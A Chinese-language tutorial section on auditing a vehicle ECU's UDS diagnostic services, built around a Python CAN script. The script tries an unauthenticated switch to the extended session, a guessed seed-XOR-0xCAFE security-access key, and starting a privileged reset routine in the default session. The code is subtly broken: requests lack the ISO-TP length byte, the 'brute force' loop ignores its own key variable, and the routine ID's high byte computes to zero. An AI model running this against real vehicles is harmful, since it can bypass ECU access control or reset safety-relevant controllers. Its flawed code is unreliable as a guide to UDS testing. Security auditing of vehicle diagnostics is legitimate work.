2. UDS服务安全审计

任务目标

对车辆UDS(统一诊断服务)实现进行安全审计,识别未授权诊断会话切换、安全访问口令暴力破解及服务越权调用三类典型漏洞,并输出审计验证路径。

审计范围与前置条件

  • 目标ECU支持UDS over CAN(基于ISO 15765-2传输层),诊断ID假设为0x7E0/0x7E8
  • 已知支持的服务:0x10(诊断会话控制)、0x27(安全访问)、0x31(例程控制)、0x22(按ID读数据)
  • 审计工具:Python + python-can库,通过USB-CAN适配器接入总线

漏洞审计实现

以下代码实现三类安全审计:检测未认证即可切换至扩展会话、对安全访问种子-密钥算法进行暴力破解尝试、验证非安全会话下是否可调用高权限例程。

import can
import time
import itertools

# ---- 配置 ----
CHANNEL = 'can0'
BUSTYPE = 'socketcan'
ECU_RX = 0x7E8  # ECU响应ID
ECU_TX = 0x7E0  # 诊断请求ID

# UDS服务ID
SID_DIAG_SESSION = 0x10
SID_SECURITY_ACCESS = 0x27
SID_ROUTINE = 0x31
SID_READ_DATA = 0x22

# 会话子功能
SESSION_DEFAULT = 0x01
SESSION_EXTENDED = 0x03

# 安全访问子功能
SA_REQUEST_SEED = 0x01
SA_SEND_KEY = 0x02

# 例程ID(假设为ECU复位例程,高权限操作)
ROUTINE_ID = 0xFF00

# ---- CAN收发基础 ----
class UDSClient:
    def __init__(self):
        self.bus = can.interface.Bus(channel=CHANNEL, bustype=BUSTYPE)
        self.seed_algo = None  # 审计中动态识别

    def send_request(self, data):
        msg = can.Message(arbitration_id=ECU_TX, data=data, is_extended_id=False)
        self.bus.send(msg)
        # 等待响应(简化:固定等待200ms)
        time.sleep(0.2)
        resp = self.bus.recv(timeout=0.5)
        if resp and resp.arbitration_id == ECU_RX:
            return resp.data
        return None

    def close(self):
        self.bus.shutdown()

# ---- 审计1:未授权会话切换 ----
def audit_session_control(client):
    print("[审计1] 尝试从默认会话直接切换至扩展会话(0x03)...")
    resp = client.send_request([SID_DIAG_SESSION, SESSION_EXTENDED])
    if resp and resp[0] == 0x50 and resp[1] == SESSION_EXTENDED:
        print("  [!] 漏洞确认:无需安全认证即可进入扩展会话")
        return True
    else:
        print("  [OK] 会话切换被拒绝或需要先通过安全访问")
        return False

# ---- 审计2:安全访问暴力破解 ----
def audit_security_access(client):
    print("[审计2] 安全访问种子-密钥暴力破解...")
    # 获取种子
    resp = client.send_request([SID_SECURITY_ACCESS, SA_REQUEST_SEED])
    if not resp or resp[0] != 0x67:
        print("  无法获取种子,跳过")
        return False

    seed = resp[2:]  # 假设种子为2字节
    print(f"  获取种子: {seed.hex()}")

    # 常见弱算法:种子与固定密钥异或
    # 审计中尝试0x0000~0xFFFF全量密钥空间
    for key in range(0x10000):
        key_bytes = key.to_bytes(2, 'big')
        # 假设算法:key = seed ^ 0xCAFE(常见演示算法)
        candidate = bytes([seed[0] ^ 0xCA, seed[1] ^ 0xFE])
        if candidate == key_bytes:
            print(f"  [!] 发现弱算法:key = seed ^ 0xCAFE")
            print(f"      验证密钥: {key_bytes.hex()}")
            # 发送密钥验证
            resp = client.send_request([SID_SECURITY_ACCESS, SA_SEND_KEY, key_bytes[0], key_bytes[1]])
            if resp and resp[0] == 0x67:
                print("  [!] 安全访问已通过(漏洞确认:算法可预测)")
                return True
            break
    print("  未发现简单异或算法,需进一步逆向")
    return False

# ---- 审计3:越权例程调用 ----
def audit_routine_bypass(client):
    print("[审计3] 在默认会话下尝试调用高权限例程...")
    # 例程控制:开始例程
    resp = client.send_request([SID_ROUTINE, 0x01, (ROUTINE_ID & 0xFF00) & 0xFF, ROUTINE_ID & 0xFF])
    if resp and resp[0] == 0x71:
        print("  [!] 漏洞确认:默认会话下可执行高权限例程")
        return True
    else:
        print("  [OK] 例程控制被拒绝(需先进入扩展会话或通过安全访问)")
        return False

# ---- 主审计流程 ----
def main():
    client = UDSClient()
    try:
        print("=== UDS服务安全审计开始 ===\n")
        # 先确认ECU在线
        resp = client.send_request([SID_READ_DATA, 0xF1, 0x90])  # VIN读取
        if not resp:
            print("ECU无响应,请检查总线连接与ID配置")
            return

        findings = []
        if audit_session_control(client):
            findings.append("未授权扩展会话切换")
        if audit_security_access(client):
            findings.append("安全访问算法可预测")
        if audit_routine_bypass(client):
            findings.append("越权例程调用")

        print("\n=== 审计结论 ===")
        if findings:
            print(f"发现 {len(findings)} 个漏洞:")
            for f in findings:
                print(f"  - {f}")
        else:
            print("未发现明显UDS服务安全漏洞")
    finally:
        client.close()

if __name__ == '__main__':
    main()

运行与验证

  1. 依赖安装:pip install python-can,并确保CAN接口已配置(如sudo ip link set can0 up type can bitrate 500000)
  2. 执行审计:python uds_audit.py
  3. 判定标准:
    • 若输出包含[!]标记,对应漏洞确认存在
    • 若三项均输出[OK],则目标ECU的UDS服务具备基本访问控制
    • 审计2中暴力破解仅演示异或算法识别,实际审计需根据逆向结果调整密钥生成逻辑

常见问题

  • ECU无响应:确认CAN收发器接线、终端电阻(120Ω)及波特率匹配
  • 响应超时:部分ECU响应延迟较大,可增大time.sleep()等待时间
  • 种子长度非2字节:需根据实际ECU调整seed切片长度及密钥生成算法